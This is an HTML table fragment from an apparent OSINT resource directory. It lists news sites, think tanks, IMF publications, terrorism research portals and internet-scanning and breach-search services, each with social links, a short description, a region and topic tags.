<tr><td><a href='https://www.middleeastmonitor.com'>Middle East Monitor</a><br><a href='https://www.facebook.com/middleeastmonitor'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.twitter.com/middleeastmnt'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.youtube.com/channel/UCJX8Wn6opMsBng3QWh0dK6g'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a><a href='https://www.instagram.com/middleeastmonitor'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a></td><td>The use or misuse of information is central to the conflict in the Middle East. There has been a growing need for supporters of, in particular, the Palestinian cause, to master the art of information gathering, analysis and dissemination. This requires well organised, focused and targeted operations. Such initiatives are virtually non-existent in the West today. The Middle East Monitor (MEMO) was established to fill this gap. While there are several outstanding media monitoring networks online, their main activity is invariably confined to exposing the flaws in existing coverages. We go one step further; reaching out to opinion-makers and decision-makers in a deliberate, organised and sustained manner.</td><td>MENA</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://www.hrw.org'>HRW</a><br><a href='https://twitter.com/hrw'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/HumanRightsWatch'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.youtube.com/user/HumanRightsWatch'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a><a href='https://www.instagram.com/humanrightswatch'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a></td><td>Human Rights Watch defends the rights of people in 100 countries worldwide, spotlighting abuses and bringing perpetrators to justice.</td><td>GLOBAL</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://seekingalpha.com'>SeekingAlpha</a><br><a href='https://www.facebook.com/Seekingalpha'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/56547'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.instagram.com/seekingalpha'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.youtube.com/channel/UC9ZGkLwawKeG5C0Dt9FS-lQ'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a><a href='https://twitter.com/SeekingAlpha'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Seeking Alpha, the largest investing community in the world. Get stock market news and analysis, investing ideas, earnings calls, charts and portfolio analysis tools.</td><td>GLOBAL</td><td>stocks</td></tr>
<tr><td><a href='https://hindenburgresearch.com'>Hindenburg Research</a><br><a href='https://twitter.com/hindenburgres'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://twitter.com/ClarityToast'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Founded by Nate Anderson, CFA, CAIA, Hindenburg Research specializes in forensic financial research. Our experience in the investment management industry spans decades, with a historical focus on equity, credit, and derivatives analysis.</td><td>GLOBAL</td><td>economics,stocks</td></tr>
<tr><td><a href='https://www.imf.org/en/Publications/REO'>Regional Economic Outlook</a><br><a href='http://www.twitter.com/imfnews'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/International-Monetary-Fund-152292984850728'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='http://www.linkedin.com/company/international-monetary-fund'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.instagram.com/the_imf'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='http://www.youtube.com/imf'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>Regional Economic Outlook discuss recent economic developments and prospects for countries in various regions. They also address economic policy developments that have affected economic performance in the regions, and discuss key challenges faced by policymakers. They address regional policy developments and challenges, and provide country-specific data and analysis, including through analytical pieces on issues of interest to a particular region.</td><td>GLOBAL</td><td>economics</td></tr>
<tr><td><a href='https://www.imf.org/en/Publications/FM'>Fiscal Monitor</a><br><a href='http://www.twitter.com/imfnews'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/International-Monetary-Fund-152292984850728'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='http://www.linkedin.com/company/international-monetary-fund'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.instagram.com/the_imf'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='http://www.youtube.com/imf'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>As the global economy faces increasing fiscal challenges, multilateral surveillance of fiscal developments has become an important part of the IMF's surveillance responsibilities. The Fiscal Monitor series provides an overview of latest public finance developments, updates the medium-term fiscal outlook, and assesses fiscal implications of policies relevant to the global economy. The Fiscal Monitor is prepared twice a year by the IMF's Fiscal Affairs Department. Its projections are based on the same database used for the World Economic Outlook (WEO) and the Global Financial Stability Report (GFSR). The fiscal projections for individual countries have been prepared by IMF desk economists, and, in line with the WEO guidelines.</td><td>GLOBAL</td><td>economics</td></tr>
<tr><td><a href='https://www.imf.org/en/Publications/GFSR'>GFSR</a><br><a href='http://www.twitter.com/imfnews'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/International-Monetary-Fund-152292984850728'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='http://www.linkedin.com/company/international-monetary-fund'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.instagram.com/the_imf'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='http://www.youtube.com/imf'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>The Global Financial Stability Report provides an assessment of the global financial system and markets, and addresses emerging market financing in a global context. It focuses on current market conditions, highlighting systemic issues that could pose a risk to financial stability and sustained market access by emerging market borrowers. The Report draws out the financial ramifications of economic imbalances highlighted by the IMF's World Economic Outlook. It contains, as special features, analytical chapters or essays on structural or systemic issues relevant to international financial stability.</td><td>GLOBAL</td><td>economics</td></tr>
<tr><td><a href='https://www.imf.org/en/Publications/WEO'>World Economic Outlook</a><br><a href='http://www.twitter.com/imfnews'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/International-Monetary-Fund-152292984850728'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='http://www.linkedin.com/company/international-monetary-fund'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.instagram.com/the_imf'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='http://www.youtube.com/imf'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>A Survey by the IMF staff usually published twice a year. It presents IMF staff economists' analyses of global economic developments during the near and medium term. Chapters give an overview as well as more detailed analysis of the world economy; consider issues affecting industrial countries, developing countries, and economies in transition to market; and address topics of pressing current interest.</td><td>GLOBAL</td><td>economics</td></tr>
<tr><td><a href='https://ent.siteintelgroup.com'>SITE</a><br><a href='https://twitter.com/Rita_Katz'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://twitter.com/SITE_Bioterror'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://twitter.com/SITE_CYBER'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://twitter.com/site_finance'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://twitter.com/SITE_FRFL'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://twitter.com/siteintelgroup'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://twitter.com/siteintel_jt'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>SITE Intelligence Group has provided governments and institutions worldwide with verified, actionable intelligence and analysis on designated terrorist and violent extremist groups. The multi-lingual staff at SITE has years of experience in the research and analysis of terrorist networks, from jihadists to far-right and far-left extremists: monitoring propaganda, studying trends within online communities, tracking events, and breaking down how these networks operate on the Internet.</td><td>GLOBAL</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://educateagainsthate.com'>Educate Against Hate</a><br><a href='https://www.facebook.com/Educate-Against-Hate-880079592113682'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://twitter.com/EducateAgainst'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.youtube.com/channel/UChu2N6XCzeofkq0v5WyfKGg'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>The purpose of this website is to provide practical advice, support and resources to protect children from extremism and radicalisation.</td><td>GLOBAL</td><td>terrorism</td></tr>
<tr><td><a href='https://gnet-research.org'>GNET Research</a><br><a href='https://www.twitter.com/GNET_research'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/Global-Network-on-Extremism-and-Technology-GNET-101981374670687'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a></td><td>The Global Network on Extremism and Technology (GNET) is the academic research arm of the Global Internet Forum to Counter Terrorism (GIFCT) and aims to better understand the ways in which terrorists use technology.</td><td>GLOBAL</td><td>terrorism</td></tr>
<tr><td><a href='https://ecfr.eu'>ECFR</a><br><a href='https://twitter.com/ecfr'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/ECFRthinktank'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.youtube.com/c/ECFRTV'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/european-council-on-foreign-relations'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>The European Council on Foreign Relations (ECFR) is an award-winning international think-tank that aims to conduct cutting-edge independent research on European foreign and security policy and to provide a safe meeting space for decision-makers, activists and influencers to share ideas. We build coalitions for change at the European level and promote informed debate about Europe's role in the world.</td><td>GLOBAL</td><td>geopolitics</td></tr>
<tr><td><a href='https://www.satp.org'>SATP</a><br><a href='https://www.facebook.com/satporg'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://twitter.com/satporg'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/in/icm-satp-530a1a13b'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>South Asia Terrorism Portal (SATP) is the largest website on terrorism and low intensity warfare in South Asia, and creates the database and analytic context for research and analysis of all extremist movements in the region.</td><td>SOUTH ASIA</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://bridgingdivides.princeton.edu'>BDI</a><br></td><td>The Bridging Divides Initiative (BDI) is a non-partisan research initiative that tracks and mitigates political violence in the United States. It also created non-public map as a resource to view and track contentious demonstrations, counter-protests, and militia-related, armed, and other vigilante activity across the US..</td><td>U.S.A.</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://www.riskmap.com'>RiskMap</a><br></td><td>RiskMap provides industry-leading security threat analysis with fast, accurate data. Sourcing data from global media and social channels, our intelligence engine continuously monitors thousands of sources in multiple languages. We filter out the noise and extract useful information to provide accurate intelligence insights.</td><td>GLOBAL</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://sanctionsmap.eu'>SanctionsMap</a><br><a href='https://twitter.com/EUSanctionsMap'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>The EU Sanctions Map provides information on restrictive measures (sanctions) adopted by the European Union - either to transpose measures imposed by the United Nations Security Council or autonomously. The EU Sanctions Map does not provide information on national sanctions of the EU Member States or any other sanctions imposed by third states.</td><td>GLOBAL</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://www.bellingcat.com'>Bellingcat</a><br></td><td>Bellingcat is an independent international collective of researchers, investigators and citizen journalists using open source and social media investigation to probe a variety of subjects - from Mexican drug lords and crimes against humanity, to tracking the use of chemical weapons and conflicts worldwide.</td><td>GLOBAL</td><td>geopolitics,terrorism,crimes</td></tr>
<tr><td><a href='https://orkl.eu'>ORKL</a><br><a href='https://twitter.com/orkleu'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://github.com/ORKL'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/github-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/github.png'><img height='20'></picture> </a></td><td>This project has been created to serve the needs of the international Cyber Threat Intelligence community for a library of their collective past achievements in the realm of CTI reporting. Over time, the goal is to collect a complete corpus of all publicly released CTI reports to be used as a reference in scientific research and CTI reporting.</td><td>GLOBAL</td><td>phishing,malware</td></tr>
<tr><td><a href='https://www.howtoverify.info'>How To Verify</a><br></td><td>Learn about verification workflows and tools by exploring this interactive website. DW's team for the KID2 project has gathered its verification experience and insights from diverse sources in an interactive knowledge graph to share with you. Key sources for this knowledge graph are our colleague Julia Bayer, Sector035, Quiztime, Bellingcat, First Draft, The Verification Handbook and members of the OSINT community.</td><td>GLOBAL</td><td>image</td></tr>
<tr><td><a href='https://solidityscan.com'>Solidity Scan</a><br><a href='https://t.me/solidityscan'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a><a href='https://www.instagram.com/solidityscan'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://twitter.com/solidityscan'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>A highly secure and trusted Blockchain smart contract scan platform for swift and accurate security audit results, along with detailed reports at unbeatable pricing options to choose from.</td><td>GLOBAL</td><td>exploit,vulnerability,crypto</td></tr>
<tr><td><a href='https://investyadnya.in'>Invest Yadnya</a><br><a href='https://facebook.com/investyadnya'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/7970114'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://twitter.com/investyadnya'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.instagram.com/investyadnya'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://twitter.com/AdeParimal'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Invest Yadnya is one of the best personal financial planning and advisory website which provides information on companies' stocks and share recommendations, fundamental analysis and much more.</td><td>INDIA</td><td>economics,stocks,individual</td></tr>
<tr><td><a href='https://shrewdeye.app'>ShrewdEye</a><br><a href='https://github.com/zzzteph/sheye'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/github-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/github.png'><img height='20'></picture> </a><a href='https://twitter.com/w34kp455'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>ShrewdEye is a set of utilities bundled into a single automated workflow to improve, simplify, and speed up resource discovery and vulnerabilities finding.</td><td>GLOBAL</td><td>web,network,vulnerability</td></tr>
<tr><td><a href='https://leakix.net'>LeakIX</a><br><a href='https://twitter.com/leak_ix'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/leakix'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://github.com/leakix'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/github-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/github.png'><img height='20'></picture> </a></td><td>This project goes around the Internet and finds services to index them.</td><td>GLOBAL</td><td>web,network,vulnerability,breach</td></tr>
<tr><td><a href='https://fofa.info'>FOFA</a><br></td><td>FOFA is a cyberspace search engine that can help researchers or enterprises to quickly match network assets through cyberspace mapping, such as analysis of vulnerability impact range, application distribution statistics, application popularity ranking statistics, etc.</td><td>GLOBAL</td><td>web,network</td></tr>
<tr><td><a href='https://dorksearch.com'>DorkSearch</a><br></td><td>Automated Google Dorking with ChatGPT AI, speeding up for your searching, for free.</td><td>GLOBAL</td><td>web</td></tr>
<tr><td><a href='https://securitytrails.com'>SecurityTrails</a><br><a href='https://www.linkedin.com/company/securitytrails'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://twitter.com/securitytrails'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>SecurityTrails enables you to explore complete current and historical data for any internet assets. IP & DNS history, domain, SSL and Open Port intelligence made easy.</td><td>GLOBAL</td><td>web,network</td></tr>
<tr><td><a href='https://dehashed.com'>Dehashed</a><br></td><td>DeHashed provides free deep-web scans and protection against credential leaks. A modern personal asset search engine created for security analysts, journalists, security companies, and everyday people to help secure accounts and provide insight on compromised assets. Free breach alerts & breach notifications.</td><td>GLOBAL</td><td>breach</td></tr>
<tr><td><a href='https://grep.app'>GrepApp</a><br></td><td>GrepApp searches code from over a half million public repositories on GitHub. It searches for the exact string you enter, including any punctuation or other characters. You can also search by regular expression, using the RE2 syntax.</td><td>GLOBAL</td><td>code</td></tr>
<tr><td><a href='https://www.onyphe.io'>ONYPHE</a><br><a href='https://twitter.com/onyphe'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>ONYPHE is a Cyber Defense Search Engine for open-source and cyber threat intelligence data collected by crawling various sources available on the Internet or by listening to Internet background noise. ONYPHE does correlate this information with data gathered by performing active Internet scanning for connected devices and also by crawling Web site URLs. It then normalizes information and makes it available via an API and its query language.</td><td>GLOBAL</td><td>web,network,malware</td></tr>
